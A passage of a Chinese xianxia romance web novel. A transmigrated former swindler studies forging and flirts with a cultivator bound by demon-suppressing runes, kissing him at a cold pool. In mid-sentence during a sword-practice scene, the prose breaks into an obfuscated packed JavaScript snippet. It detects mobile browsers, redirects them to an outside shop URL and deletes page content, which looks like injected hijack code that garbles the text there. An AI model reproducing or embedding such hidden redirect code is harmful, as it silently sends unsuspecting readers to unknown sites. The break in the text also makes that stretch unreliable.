洛意咔地拧头,冷笑着扫了李寒筝一眼,刚想讽刺点什么,便看见李寒筝眼中不似作伪的认真,她诡异地沉默片刻,扭头看向站在一旁的段梧声:“师兄,她有这个症状多久了?” 段梧声温和道:“已有许久了。” “吃药了吗?” “最近在吃。” 两人交换了一个眼神,同时看向独自兴奋的李寒筝,洛意叹息一声:“算了,我带你去见我姑姑吧。” “放心,”怕洛意不相信,李寒筝认真解释道:“很多人都说我很聪明的,你要相信我。” 洛意:“……”一解释,更不相信了呢。 * “不可能,别想了。” 出云峰匠雨阁,往来弟子个个都抱着一堆卷宗,面如菜色,一幅被生活吸干精气的疲惫样。 长案两侧堆满半人高的卷宗,头发毛躁眉头紧皱的洛久霖就坐在两堆卷宗中间,手握毛笔动作不停,闻言头也不抬地拒绝了。 洛意摊手,给了一个“我就说吧”的眼神。 李寒筝不可置信:“为什么?” 洛久霖终于抬起头,用眼神点了点两边的卷宗,“首先,我很忙。其次,我为什么要收你为徒?这里可不缺一个端茶倒水的伙计。” 匠雨阁中陷入了沉默,往来弟子放慢了脚步,恨不得拉长了耳朵。 要知道洛久霖此人,不仅以铸造之术闻名于世,同样出名的是她不留情理的毒舌。 同样领略过自家姑姑毒舌的洛意抬手扶额,只能叹息,不应该这么草率带李寒筝来这里的,会不会哭呀? 她抬起眼风扫了眼李寒筝。 岂料李寒筝不仅没有哭,反而露出了一种惋惜的神色:“那真是太可惜了,你没有收我为徒的运气了,临走之前,能不能问你一个问题?” 洛久霖头一次“被可惜”,有点气笑了:“你问。” “有没有铸造之术比你厉害的人?” “有啊,”洛久霖语气不咸不淡:“我师父,绯谣。” 李寒筝不缓不慢地理了下袖子:“你等着,我会拜绯谣为师。” 洛久霖现在是真的笑了:“不幸,家师已逝。” 狠话说的太快,慢了半拍“绯谣”这两个字才到达了李寒筝的脑海,她半捂住嘴,偏头不死心地问了一句:“是那个已经在万器之城陨落的绯谣?” 段梧声微不可察地点了下头。 好吧,有点尴尬,果然做人还是不能太装逼。但是李寒筝此人,最不怕的就是尴尬。 她摊开手,直白道:“就没有别的办法了吗?” “有啊,”洛久霖撑着下巴,慢条斯理道:“要拜她为师,除非你去归墟秘境,但阁下的修为,似乎并没有到达四境吧?” 李寒筝选择性忽略后半句,又露出了她那标志性的自信微笑:“太好了,果然天无绝人之境,你等着,我一定会拜绯谣为师的,到时候你就是我的师姐了。” 洛久霖:“……” 众人:“……”这……还不叫绝境吗? * 寒竹居在深山之中,是个很清静的地方,院外万顷翠竹潇潇风声,院内是一口井一颗百年梧桐,两层竹屋清简朴实,颇有些世外高人的隐居风格。 但是自从李寒筝住进来之后,寒竹居发生了很大变化,小院两侧种了许多果树蔬菜,郁郁葱葱,长势喜人。石子小路从院门口蜿蜒至竹屋,中间分了个岔,通往梧桐树下的石桌,一旁的水井里用吊篮冰着水果,想吃时便转动轱辘。 一楼的外廊靠左搭了紫藤花架,因阵法而长开不败,花下摆了案几和交椅,外墙壁打通,做成可推拉的木格门,连起来就是李寒筝的工作房兼书房。 学习铸造之术并不是李寒筝无中生有随意而为,她大学的专业就是机械工程与制造,闲暇时也会研究古书中的器械机关,虽然这些和修仙界的铸造之术都有很大不同,但是在某些地方,逻辑是相通的。 虽然毕业之后转行,在骗……咳咳……在转移他人财产这个领域深耕多年,但是专业知识到底还是没有丢了个干净,平时也会动手做些简单的东西。 既然夸下海口,自然要拿出百分百的积极性,李寒筝拽的二五八万从匠雨阁走出,然后迅速拉着段梧声去暮山的藏书阁借了一摞与铸造术有关的书籍。 这是一个天晴的下午,层层叠叠的紫藤花滤下斑斑点点的阳光,李寒筝翻开一页书,系统扇着翅膀,以一个丝滑的曲线,在案侧高 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李寒筝清了清喉咙,夹着嗓子做崇拜状:“哇塞,这个女人真是太厉害了,我完全移不开眼睛了呢,这一定就是爱情吧?” 系统面无表情:“李寒筝,说人话。” “好吧,这个因由有点长,你且听我慢慢道来,在女频小说里,有一种非常经典的套路,小黑屋强制爱文学,它有着非常经典的人设,那就是霸道疯批病娇和坚韧不息小白花,你知道这种文学的精髓在于什么吗?” 系统:“……” “好吧,你真冷漠,”李寒筝道:“在于你追我逃,你插翅难飞,情天恨海无限拉扯,进一步自尊碰撞生疼,退一步爱意拉扯心脏。然而要达成如上所说种种结果,有一个必要的前提,你知道是什么吗?” 李寒筝用毛笔尾端戳了戳系统的翅膀,系统疑似呵了一声,“是什么?” “是上位者阶级和实力的绝对碾压。” “所以?” “所以问题的关键是,”李寒筝掰着手指头,“段梧声长相清新可人,又喜欢穿淡色系的衣服,妥妥的坚韧不拔小白花,而我因为常年被贫穷所折磨,确实有点疯批病娇……” 系统终于忍不住出声打断:“就你,疯批病娇?” “怎么啦,还不许我内心阴暗吗?告诉你,开朗阳光话唠都只是我为了生存不得不进行的伪装,实际上我偏执又冷酷,每到半夜就独自密谋着一些血腥的阴谋,你这样的小鸟,我一口能吃八个!”李寒筝理直气壮。 系统深知阻止一个话唠的最好办法就是不要给她发挥的空间,于是强忍良心道:“……好吧,一口八只鸟的冷酷女孩,你接着说。” “难道你还不明白吗?问题的关键在于我不是上位者呀!我不是上位者,我就不能强制爱,强制也强制不了,我就不能挂着冷酷的笑容壁咚,我就不能把他关小黑屋在脚上绑脚链……” 系统翻了个白眼:“你每天都要说这么多话,真是辛苦你了。” “不辛苦呢。” “说人话。” “好吧,”李寒筝终于认认真真道:“因为我觉得在这个世界很没有安全感,需要学一点东西,那样就算没有人帮助我,我也能够自保了。” 系统沉默了会:“为什么会没有人帮助你?” 这个问题问的有些突兀,没头没尾,带着歧义,到底是“什么情况下会没有人帮你”,还是“为什么他们不帮你”。 延伸下去,像是再问“曾经你也身处囹圄没有人帮你么?” 李寒筝怔了一下,笑了起来:“突然搞得这么严肃,你终于开始关心宿主的心理健康了?” 系统没说话。 “好吧,其实也没有什么为什么,只不过在这个世界上,总有些路,是必须你一个人走的,就比如说—” 李寒筝在这个句话的后面顿了许久。微风吹拂而来,浓朱淡紫的紫藤花纷纷扬扬,光影摇晃。 她道:“攻略的第二个任务,背叛攻略对象,让他断情绝爱。” 41. 不枉(2) “啪”,房间内响起清脆的落子声。 棋局上黑白棋子纵横交错,白棋占据大片江山,几乎将黑棋逼到山穷水尽。 何殊将指尖一粒黑棋丢回棋碗,“我输了。” 段梧声微微拢袖,“承让。” “真是几十年都没下过棋了,棋艺确实生疏了好多,今天好不容易翻出来想要下一盘,”何殊端详着棋盘,抬起来一眼,“没想到碰着一个高手,输得落花流水,惨也。” “何楼主言重了,不过是险胜而已。”段梧声最近也读了一些关于往来相处的书籍,便顺着这句话道:“是什么勾起了何楼主的雅兴?” “倒也没什么,只是想起了我的一个故友,”何殊拈起一枚黑棋,在棋局上空游移,“我的这位故友,下棋很厉害,满城都找不出一个能胜她的人,若是她来下,必定不会像我这般输得如此惨烈。” “然后呢?” “没有然后了,”何殊将黑棋落下,“如何,若是那一步下在这里,我便能将你这一片棋都变成死棋。” “何楼主好眼力。” “说错了,我的眼睛最是坏,不然也不会看不出你这一步棋的障眼法。”何殊拾起搁在一旁的团扇,看着扇面上的花鸟图案,懒散道:“你要终止那个交易?” “不错。” 何殊揶揄地笑起来:“能问一句为什么吗?莫不是你吃醋了?” “吃醋这个词用的不甚恰当,”段梧声顿了下,到底没有解释下去,只是道:“寒筝身体不好又很爱折腾,待在我身边最为安全。交易终止后,酬金我会照付。” 何殊轻轻啊了一声,下意识觉得这都是情侣间的小把戏,但是这个下意识里也升起一丝奇怪的感觉。 她抓着这一丝奇怪的感觉,在脑海里咀嚼了几番,目光在段梧声的脸上停留了一会。 无疑是俊美得无可指摘的一张脸,却没有大多数人谈起心上人时藏也藏不住的甜蜜。 他的身后是一个极为名贵的冰种玉瓷竹节瓶,白皙的面颊和玉瓷两相对比,在某种特质上竟是如出一辙的,像是静坐在时空的虚无中。 镜楼的规矩,不许过多打探客人的隐私,这是何殊亲口定下的,但是此刻,她不由得地将心中的想法问出了声。 “段司厄,你有过愤怒的时候吗?” * 段梧声回想了许久,最后得出一个结论。 他大约是没有过愤怒的时候。 情绪像是一种很珍贵的东西,那个女人总是笑嘻嘻地捉弄他,然后弯下腰拍他的脑袋,问:“小梧声,你生气了吗?” 那个女人很喜欢笑,在传言中,前任魔君楼樱长着一张颠倒众生的脸,一颦一笑都勾魂摄魄,好像非得如此绝色妩媚才能勾得暮山首座段洵动心。 但至少在段梧声的回忆里,不是这样的。 楼樱站没站形,坐没坐形,浑身像是没骨头,总是一幅没睡醒的样子,常常倚在貌美侍女的怀里让人给她喂葡萄。 她笑起来也是懒懒散散的,喜欢一些捉弄人的小把戏。 段梧声只有两次在楼樱脸上见到过类似于悲伤的情绪。 第一次是在他十二岁,月上霜天,室内寂静如死,楼樱手中拈着一枚银光闪闪的定魂针,捂住了他的眼睛,问了一句—— “梧声,你眼中的时间,流往何处呢?” “梧声,你在看什么?” 声音重叠在一起,骤然将段梧声从回忆里拉出来。 段梧声回了回神,道:“没什么,师尊,你怎么会出现在这里?” 段梧声从杨春楼走出,便看见了坐在茶摊上的段凌,他穿着简朴的褐色布衣,戴着斗笠,脚边搁着鱼竿和一个小桶。 段梧声了然:“师尊你这是钓鱼去了?” 段凌咳了声:“这不是钓完了鱼喝口水嘛。” “师尊,”段梧声委婉道:“你钓不到鱼跟地方没有什么关心。” 段凌瞪了下眼睛:“怎么说的,这么不相信你师尊我?” “所以钓到了?” 显而易见,小桶里只有水没有鱼,段凌又咳了几声:“……差一点,就差那么一点点。” 段梧声不想伤害自家师尊的自尊心,但又实在没有可以安慰的话,便选择了沉默不语。 段凌又咳了好几声,终于是想起了另一个话题,便不再咳,和缓道:“算一算时间,泡寒潭的日子快要到了吧?” 段梧声道:“差不多了。” 段凌总算是有话可说:“唉,好不容易是挺过了这么多回,没出什么差错,我也可以向你爹交待了……” 他说着说着又摇了摇头,“不成不成,也不能高兴得太早,虽然还剩下最后一两年了,但是也得慎重,毕竟是最后一步了,可不能功亏一篑……” 段梧声边听着边喝茶,最后应道:“好。” 段凌忽而有些恍然,眼前的青年鹤骨松姿,眉眼清越,真是像极了那个意气风发剑术卓群的的少年。 ……就是说话不太好听。 他又咳了一声,总算拾起了一点身为叔父的关怀,“你身上的密咒还疼吗?” 段梧声温声道:“不疼了,伯父不必担心。” “这便好,”段凌又笑起来:“你打算何时去?” 段梧声摩挲着杯壁,忽然想到李寒筝的手心也是这般温热,这一打岔,将要脱口而出的“明天”便拐了个弯,“大约还需要十几天,司里的一些事情还没有收尾。” 段凌不疑有他,开启了新一轮的絮絮叨叨:“你也别太忙碌了,需得照料身体……” 段梧声安静听着,中途分了下神。 寒筝的剑术好像还没有学会。 * 段梧声教给李寒筝的剑术叫做“寿松剑法”,是段梧声翻阅了诸多剑谱自创而来,本没有名字,是李寒筝觉得没有名字的剑法不符合她的身份,段梧声这才取了一个。 又思及松树在人域是长寿的象征,便取名为“寿松”。 李寒筝学得心不甘情不愿,但是既然学了,便学得很认真,这一日是第十七日,李寒筝已经能将剑法从头到尾舞一遍,行云流水,毫无滞涩。 收尾的时候她甩了一个流利的剑花,别剑入鞘。 桃木剑本是没有剑鞘的,但是李寒筝觉得他收剑的姿势很好看,当时的原话是“这么酷这么有逼格的动作我一定要学会”,而后果真给自己造了一个剑鞘,下午削成,立马就开始练,甚至不惜推迟了宝贵的睡眠时间,将这一招练得又帅又酷。 当然,李寒筝另有设计,要那种随意又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227420|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫不经心的帅。 此时,她随意又漫不经心地看过来,松松垮垮地站着,带着点松竹般的枝节感,压着唇角,浑身散发着几个字——“我知道我很帅但是我很谦虚所以我不说但是如果你不夸的话就死定了”。 段梧声有点惊讶自己能一下子领悟李寒筝的意思,并且配合道:“这么难的剑法旁人至少得学三个月,而你半个月就会了,还能够如此行云流水帅气好看,阿筝,你太聪明了。” 李寒筝抬手往下压了压,咳了一声,笑意有些止不住:“还好还好,也就正常水准。” 听完夸奖,李寒筝满意了,往竹椅上一摊,“中午吃什么?” 有一瞬间的安静,是段梧声说起某事时惯常的停顿,李寒筝睁开眼,“怎么了?” 段梧声坐在石桌旁,“我明日需得去寒潭,大约七天之后再回来,这几日你需得将寿松剑法好好练习。” 李寒筝刚露出点笑的模样,便听段梧声补充道:“我提前熬好了十全大补汤,装了七罐,就放在你的梳妆台上,你记得每日都得喝。” 近些日子天天喝十全大补汤,不管是装睡装头疼还是装可怜都没用,“十全大补汤”这几个字简直是阴魂不散。 李寒筝的笑容垮了,仰天长叹,忽而转过头:“寒潭在哪?” “在暮山的净心峰,怎么了?” 李寒筝想了一会,突然起身,坐在段梧声旁边,勾住他的手,“我每日给你送饭好不好?” 她的笑容像是有些不怀好意。 段梧声道:“我已辟谷,并不……” 李寒筝及时捂住他的唇,眼睛里装了一箩筐的深情,“你这般念着我,每日为我熬煮十全大补汤,我自然也不能让你一个人孤孤单单去寒潭了,你说对吧?” 李寒筝手动给段梧声点了下头。 笑死,十全大补汤,不能只有她一个人受苦。 * 寒潭在一处洞穴里,是一汪冰冷彻骨的潭水,进入寒潭需得穿过一段幽长的隧道,虽不比寒潭,但依旧十分冷,而且漆黑湿滑,伸手不见五指,很容易走着走着就摔一跤,暮山弟子除非必要,否则不会轻易靠近。 但这个“必要”只限于凿一些岩石取一些潭水以作药用,很少人会直接进入寒潭之中。 寒潭极寒,但据说进入寒潭后,身体如浸冰水,体内却有如火烧,真真正正的冰火两重天,暮山弟子打赌的最高敬意是去寒潭待一刻钟,都是得咬着牙剁着脚硬着头皮犹豫个两三夜才能答应。 虽然李寒筝不是泡寒潭,但是进入寒潭的必经之路又黑又冷,段梧声觉得,黑暗和寒冷都对凡人的寿命有所损害,但是李寒筝似乎完全没有意识到自己的易碎,她捧出一件厚厚的斗篷给他看,兴致勃勃道:“这样就不怕冷了。” 既然李寒筝一定坚持,段梧声便不再拒绝。 事实证明,再厚的斗篷都是没有用的,除非是裴玉仪的斗篷,因为裴玉仪是火灵根,她的斗篷虽不能保暖,但是可以生热。 进入寒潭需要走太常司的流程,李寒筝的申请一上来,裴玉仪犹豫了会,便盖了章,当晚就送了一件斗篷并嘱托了若干注意事项。 有弟子疑惑,裴玉仪沉默了会,道:“你不懂,你没有夫人。” 弟子:“……” 42. 不枉(3) 干坏事的人总是勤奋的,李寒筝熬了一锅很苦的药,什么药材苦就往里面加什么,最终的成品是黑糊糊的一大锅,稍微闻上一下就觉得被苦味进攻了。 隧道里有滴滴答答的水声,李寒筝穿着斗篷,并不十分冷,提着食盒揣着一颗照明珠慢慢悠悠地晃出了隧道。 寒潭虽寒,水中却没有结冰,反倒是空旷深广的石洞里结了厚厚的冰,只有微弱的几颗照明珠,冰层反射着光,像是个淡蓝色的冰雪世界。 然而当视线移向中间的潭水时,便再也难以移开眼。这样的冰雪世界,竟然生长着白色的莲花,莲花与荷叶密密挨挨地挤满了整潭池水,浑只翠绿清白,像是雪落深山。 密挤的莲花与荷叶中间掩着一条木质栈道,李寒筝走上去,木板咚咚轻响,然而走到栈道的尽头,她仍是没有看见段梧声。 而后她蹲下来看向水面之下,光亮只能照见六尺深的地方,明与暗模糊的交界之处有一个石刻浮雕莲台,段梧声就躺在上面,面颊苍白如冰,鬓发双眉却又乌黑如鸦,两厢浓烈的对比迎合,有一种惊心动魄的美,如同滔天雪浪撞上冷硬礁石,碎成满天雪沫。 此时他安静地闭着眼睛,纤长的眼睫垂下,像是睡着了。 荷叶与莲花也不愿意打扰,为他留了一个清静的所在,他身上的白衣随着水波轻盈地散开,也像是一朵莲花。 李寒筝下意识地屏住了呼吸。 这是个冰天雪地的所在,不说话不动的时候,寂静得时间都像被冻结住。 过了会,李寒筝才注意到,段梧声的四肢上都扣着沉重漆黑的锁链,锁链上镌刻着晦涩难懂的符文,时不时地流动着金光,像是一路共鸣入他的心跳。 潭水泛着清幽幽的冷光,李寒筝趴下身,小声道:“阿梧。” 她没指望段梧声能够听见,但是段梧声睁开了眼。 他的鼻梁高而挺,眼窝深,轮廓深刻,皮薄覆骨,是个冷漠且锋利的长相,望之难以接近,那一双眼尾向下的眼睛却又很好的中和了这一份锋利,他惯来笑,虽然笑意只是虚虚浮着,但到底囫囵装出个温和。 此时他没笑,便肃杀出一份冷,像是冰原上狂风呼啸。 李寒筝歪了点头:“阿梧。” 段梧声闭了下眼,很快就睁开,再睁开时已经是惯常的温和。 一阵哗啦啦的铁链响和水声之后,他从水面冒出来,水珠顺着他的黑发一滴一滴掉下来。 李寒筝接了一颗从他头发上掉落的水珠,冷得直甩手,“好冷好冷,感觉被咬了一口。” 她将手缩回斗篷,好奇地看着段梧声的眼睛,“阿梧,你不冷吗?” 或许是被水浸了的缘故,他的眼睛更加黑沉了。 段梧声用这双黑沉的眼睛直勾勾地看着她,没什么活人气,像是一抹幽魂。 良久,他道:“寒筝,你不问我是为什么来这里吗?” 李寒筝有点知道,但并不是十分清楚,她摇了下头:“如果你想说的话,会告诉我的。” 又是一阵沉默。 段梧声静静看着缩在毛绒斗篷中的李寒筝。 秽种眼中的世界和常人不同,一切都是冰冷的,连焰火也是冰冷的,唯有生命是灼热的。 李寒筝的体内,跃动着一团白亮的焰火。 来自秽种的本能在血液中如同潮汐涌动,绕过骨骼血肉里的那些定魂针,烫出一阵一阵的灼热,铁链扣在四肢,金色的符文明明灭灭,疼痛与渴望交织,淬在冰寒的水里,迸出一点堪称愉悦的意味。 他垂下眼睫,深呼吸了一口气。冰凉的空气顺着鼻腔灌满整个肺部,近乎自虐的行为却有种让人上瘾的快感。 那是杀意,不论是对别人,还是对自己,同等的,血与肉绽放的杀意,刀尖不是向外,就是向内。 李寒筝毫无所觉地从身后端出一个瓷盅,颈脖绷出琴弦般的弧度,她伸出手尝试掀开盖子,没有掀起来,摊开手无奈道:“被冻成冰块了。” “无妨。” 段梧声伸出手,轻易地便将盖子给掀开了,瓷盅内是黑糊糊的汤药,已经结成了冰,他伸出食指,在固体汤药上划了几下,固体汤药被切成十几块,段梧声拈起一枚放进嘴里,冰块在牙齿中碎裂,发出嘎嘣嘎嘣的声响。 可是,段梧声想,李寒筝是脆弱的,稍微一捏,骨头碎裂,血肉流出,就像他齿间的冰块。 不该让寒筝来这里的,泡寒潭是他最控制不住自己的时候。 但是寒筝的逻辑总是有很多,缠人的功夫一流,实在难以拒绝。 李寒筝忽然凑近,抿了抿唇,有些一言难尽:“你……不觉得苦吗?” 段梧声垂眸,又拈起一枚,放入唇中。 确实是苦的,苦涩的味道从舌尖蔓延开,能够尝得到,却无法感受到,像是在隔岸观火。 李寒筝又凑近了点,目光在他的脸上逡巡着,像是看见了很难解的问题。 两人的距离不足一寸,李寒筝的脸就近在眼前,白皙的面颊,透着健康的、独属于正常人的红晕,眼睛是灵动的,蒙着一层水光,嘴唇是殷红的,像是莓果。 从书籍里得出来的经验,告诉段梧声应该远离,但是这样的冰天雪地,李寒筝身上的温度是唯一的热源。 一团白炽的焰火。 李寒筝忽然勾住他的下巴,叹了口气:“阿梧,我有点见色起意,所以,我可以尝一下你唇上的苦味吗?” 说罢,她没有等段梧声回答,便飞速地俯身,在他的唇上贴了下。 只是一息,而后拉开距离,黑板分明的眼珠轻轻转动,对视了一瞬他的眼睛,见他没有反应,像是有点好奇,又贴上去,蹭了下。 这一次的贴和上次不一样,段梧声的唇上有一点濡湿的触感。 是她伸出舌尖,舔了一下。 这团不知死活的焰火,主动凑近,贴了他两下。 段梧声轻轻转动眼睛,看向李寒筝。 如果他没有记错的话,这样的触碰,叫做—— 吻。 他没有忘记他的原则,开口便想要劝诫:“寒筝……” 只是李寒筝无辜地跪坐在栈道上,双手撑着膝盖,慢吞吞道:“我觉得,这并不能怪我,明明很苦的呀,你为什么没有反应?” 段梧声将这话中的逻辑理了一下,李寒筝已经站起身,拎着裙摆往后退,“我先走了,拜拜!” 她说罢,便转身往外走,青杏色的裙摆在洞口打了个旋,便消失在黑暗中。 段梧声仍在慢慢思索,手指在唇上摁了下。 李寒筝的唇是柔软的,如同汁水丰沛的葡萄。 书上对于吻的定义,是恋人之间表达喜爱,虽然段梧声并不认为,交换口水是一种表达喜爱的行为。 但李寒筝说,她是为了尝一下苦味。 似乎……也情有可原? 铁链于此时收紧,他垂下眸,撸开袖口,金色的符文明明灭灭。 一道声音在他耳边响起。 “不可动欲,不可动念。” 欲,是杀欲,念,是杀念。秽种只对杀戮有所渴望。 那是一个落雪的冬天,男人的肩头上映着一层雪光,他持着笔,认真细致地让笔尖蘸满符水,面容背光而模糊不清。 段梧声看见自己抬手,那是一双少年的手,带着骨节抽长的瘦,被牢牢束缚上锁链,动弹不得。 男人慢慢开口解释:“这个叫做幽谷悬山,它会克制你的欲念,你是秽种,最需要克制的就是杀欲,若是你动了杀欲,它便会让你痛不欲生,以作警示。除此之外,每隔一段时间,你需得泡一次寒潭,洗去你的魔族血脉,大约百年之后,你便能成为一个正常的人。” 少年抬起一双煞气翻涌的眼睛,恶狠狠地瞪着,“我不需要!” 男人沉默不言,提起笔,将要落在他的手臂。 少年突然笑了,带着毫不掩饰的嘲讽和恶意:“你做这一切到底有什么意思?堂堂一个暮山首座,却是个被抛弃的可怜鬼,她恨你!甚至憎恨我!你听懂了吗!” 男人置若罔闻,只是捉住他的手。< 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他疑惑地摁压着手臂上蜿蜒缠绕的符文,感到了一丝疑惑。 为什么? 过往每每幽谷悬山发作,皆都是因为他动了杀念。 难道他想要杀了李寒筝吗?就因为李寒筝贴了自己两下? 不,不可能。段梧声清晰地回答自己。 那么,难道是幽谷悬山出了问题? * 从寒潭出去以后,段梧声在藏书阁翻了三天的书。 幽谷悬山,意为心若幽谷,衡心守静,纵使念动如崩,亦要悬山止性。 关于幽谷悬山的记载并不算少,但是没有成功的案例,结果大多是触犯禁止在幽谷悬山的绞杀下死去,或者是废掉半条命强行解开幽谷悬山。 尽管失败的可能性非常高,但是没有一例表明幽谷悬山会随着时间增长而胡乱发作。 也就是说,幽谷悬山不可能出现失误。 晚风裹挟着黄昏的暮色吹入寒竹居,书页哗哗飞舞,若白翅翻飞,段梧声撸开袖口,幽谷悬山安安静静地待着,并无异样。 或许前几日的发作只是他的错觉。 “阿梧——” 李寒筝的声音由远及近,而后门被推开,李寒筝兴致冲冲地奔到他面前,双手合着,眉飞色舞:“你猜我做出了什么?” 段梧声垂眸看去。 大约是什么机关器械,李寒筝这些日子都在钻研这个,寒竹居每日都是叮叮当当的声音,锯木头,打铁,敲石头……李寒筝似乎对归墟秘境真的很上心。 李寒筝歪了点头:“阿梧?你最近很忙吗?为什么总是出神?” “并无,”段梧声握住她合握的手,将话题扯回来,道:“是鲁班锁?还是暗器?” “都不是,”李寒筝摇了下头,将手掌打开,露出一个小木盒:“是八音盒。” “外观是很粗糙啦,”李寒筝摇动木盒一侧的小手柄,叮叮当当的声音在木盒中晃荡,是一个非常简单的调子,但是很悦耳。 李寒筝道:“但听起来还是不错的,对吧?” 段梧声嗯了一声。 李寒筝习惯了段梧声这种不咸不淡的回应,自顾自地用手比划着,“这个就不送给你啦,太丑了,配不上我们阿梧,以后送你一个更精巧漂亮的,但是还得等一段时间,我还得多看几本书研究一下。” “你很想去归墟秘境吗?”段梧声突然出声。 李寒筝愣了一下,然后重重点头:“对呀,我想要拜绯谣为师。” 她的笑容如此明媚,如同晴朗的天空,好像笃定什么,就一定能够做到。 段梧声知道,或许她能够做到。 毕竟,李寒筝并不真的是南熙城里那个孤苦无依的表小姐。 但她确实是个凡人。 段梧声忽然很想知道,李寒筝会采用什么办法。 但他最终还是看着那双在暮色中熠熠生辉的眼睛,没有说话。 43. 不枉(4) 李寒筝的热情一直持续到了睡觉前,兴致勃勃地给段梧声讲解一个八音盒是如何组建的。 李寒筝的声音很好听,清脆干净,像一口咬开青苹果,而且她口齿清晰,表达流畅,很少结巴或者卡顿,听她说话,好似一条流水潺潺流淌于身侧,诚然,听她说话是种享受,但是李寒筝的话很多,说一件事能联想到十件事,难免让人头疼。 不过李寒筝有一个优点,到了点就会睡觉。 段梧声双手交合身姿端正地躺在床榻上,如同过往的几十天一样等待着李寒筝入眠。 一般而言,他会选择一边吐纳修炼一边等待,但是今晚他有些无心修炼。 李寒筝的声音细细碎碎,像是缠人的棉絮,一丝一丝轻盈地包裹住静静沉夜。 他的意识像是在热锅上熬煮,逐渐变得浓稠。 段梧声还没有意识到这就是困意,毕竟自他修行以来,除了重伤昏迷之外便极少入眠,大多时候以打坐代替休息。 他只是垂下眼睫,心想着或许可以闭一会眼睛。 直到很久以后,清脆的鸟鸣声将他的意识从沉睡中衔起来,他微微睁开眼睫,淡蓝色的晨光透过纱帐,昏暗而朦胧。 天,亮了? 这是段梧声百年来第一次真正意义上的睡觉,身体的每一寸都被缠在睡眠的倦怠里,连动一下指尖的力气都欠奉,意识缓慢缓慢地苏醒,如同抽丝剥茧。 他察觉到一股暖意,就贴在他的额头和侧脸,无意识地凑近了一点。 过了一会之后,他再次睁开了眼睛,便看见了一截白皙的颈,每根线条都白嫩青涩,如同春山起伏,顺着往下,是一弯明晰的锁骨,被白色的衣襟半掩住。 等等…… 呆滞了好久,他才意识到—— 现在,大约,很可能,是一个非常不妥的姿势。 他的脑袋埋在李寒筝的颈窝里,一条手臂横在李寒筝腹部,一条腿横跨着搭在李寒筝的双腿上,整个人完全成了一只八爪鱼,缠绕在李寒筝的身体上。 修士敏锐的反应力让他迅速清醒,右手手指痉挛般缩了缩,察觉到一片滑腻温热的触感。 段梧声浑身僵硬住了,他突然意识到一个可能性。 他的手,在无意识的情况下,伸进了李寒筝的里衣中。 段梧声几乎是弹跳一般收回手脚坐起身,眼神迅速收回不敢乱看,但大脑却将收回目光前的最后一幅画面给深深烙印在脑海。 李寒筝板板正正地躺在床上,双手规矩地交叠在腹部,黑发披散,眼睫安静地垂下,睡容安详,如同一尊素白的神女像。 唯有一点水红色,在翻折的里衣下露出一个小角。 许久之后,段梧声方才意识到—— 那是李寒筝的小衣。 被他的动作翻折出来的,一截小衣。 幽谷悬山骤然间烫了起来,段梧声几乎是不可思议地看着手臂,闪耀的金色符文一路从指尖灼热着蔓延到了胸口。 一个诡谲的可能性浮现在他的脑海。 段梧声艰难地动了动喉结。 所以……就因为自己睡觉不规矩,因而恼羞成怒,竟然对李寒筝动了杀念? 多年的清修,不下百次的寒潭浸泡,八十一枚定魂针,在这一刻全部崩塌,自以为修炼得心如止水波澜不惊,却没想在这么一个平凡的清晨碎成满腔废墟。 而且对象还是已经下定决心护佑一生的人。 段梧声深深闭住了眼,睁开,几乎是落荒而逃般离开了寒竹居。 * “从今日起,你需得和我寸步不离。” 李寒筝顶着一缕翘起来的呆毛,坐在床上,浑身拥进被子里,缓缓地啊了一声。 洛意嫌弃地上下扫了一眼,终于还是忍不住:“李寒筝,现在可是日上三竿了,你怎么还在睡?” 李寒筝揉了揉肩膀:“不知道为什么,今天一早醒来就觉得浑身酸痛,我昨天晚上做了个梦,梦见自己被一只超大的八爪鱼给缠住了,怎么也挣脱不开,所以我现在在补觉。对了,阿梧呢?” 洛意显然不信,哼了一声,才回答后一个问题:“师兄去寒潭了。” “阿梧不是前两天刚从寒潭出来吗?怎么又进去了?” 洛意也觉得奇怪:“我也不知道,师兄在寒潭外面设了封印,谁也进不去,他今天有点奇奇怪怪的……虽然还是那幅笑模样,但好像有些魂不守舍,反正说不出来的一种感觉……” “感觉什么?” “我跟你说得着吗?”洛意止了声,戳了下李寒筝的脑袋:“你不是想要去归墟秘境吗?三日后启程前往潮海城,段师兄和裴师姐,一个是镇厄司司厄,一个是太常司司常,负责巡防和诸事对接,忙得很,你呢,接下来就归我管,不许乱跑,听见没有?” 李寒筝捂着被戳的额头,有点懵,愣愣地点了下头,然后吧唧一下抱住了洛意的腰。 “好阿意,给我讲一下归墟秘境好不好?” * 仙域之北,是无尽渺茫的妄虚海,那是极为神秘的所在,是无法探知之地,是所有亡魂的归处,潮汐日夜不停地翻涌着,亡者的魂魄在一遍一遍的潮汐中渐渐消散,有人说彻底的死亡,是回忆的消散,因此,这潮汐便被称为遗忘潮汐。 妄虚海岸高耸的礁石上,竖立着一块巨石,上面刻着八个字:亡灵之所,生人止步。 这并不是危言耸听,亡灵会在遗忘潮汐中消散,活人也一样,不论是手无寸铁的普通人,还是修为强大的修士和魔族,死亡一视同仁。进入妄虚海,无异于自掘坟墓。 当妄虚海上升起茫茫大雾,那便昭示着归墟秘境的出现。 佛说须弥纳芥子,芥子纳须弥,归墟秘境就隐藏在这片雾里,每百年的九月十九日,妄虚海岸出现一条台阶,尽头隐没在灰白的大雾中,这便是进入归墟秘境的入口,称为千重云梯。 大约八月末,各大仙门就会纷纷前往距离妄虚海最近的城池——潮海城,由五大世家之一的谢家主辖。 八月二十七,白帆灌满长风,巨大的云舟从暮山出发,桅杆掠过长天的云,灿烂的朝阳挂在船楼的檐角,若是站在甲板上纵瞰,只觉天地无垠,浩荡悠然。 “我怎么发现你每天喝水都要加参片和枸杞?这么好喝吗?” 三十六号房间内,洛意微拧着眉,往自己的茶杯里搁了点枸杞和参片,指尖窜出一缕火苗加热片刻,尝了一口,“甜不甜苦不苦的,你的口味真独特。” 